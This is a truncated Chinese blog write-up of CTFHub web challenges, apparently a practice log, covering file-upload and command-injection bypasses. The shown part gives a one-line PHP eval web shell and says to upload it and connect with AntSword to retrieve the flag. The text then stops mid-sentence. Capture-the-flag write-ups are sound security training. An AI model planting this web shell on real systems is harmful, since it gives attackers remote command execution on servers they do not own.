CTFHub之web基礎刷題記錄(續集)

文章目錄 5.文件上傳 無驗證 前端驗證 MIME繞過 .htaccess 雙寫後綴 6.RCE 命令注入 過濾cat 過濾空格 過濾目錄分隔符 過濾運算符 綜合過濾練習 5.文件上傳 無驗證 直接上傳一句話木馬<?php @eval($_POST['pass']);?> 打開蟻劍，輸入密碼連接，注意URL地址是一句話木馬的路徑 即可得到flag 前端驗證 上傳.php文件，發現不允許上傳，因爲是

>>阅读原文<<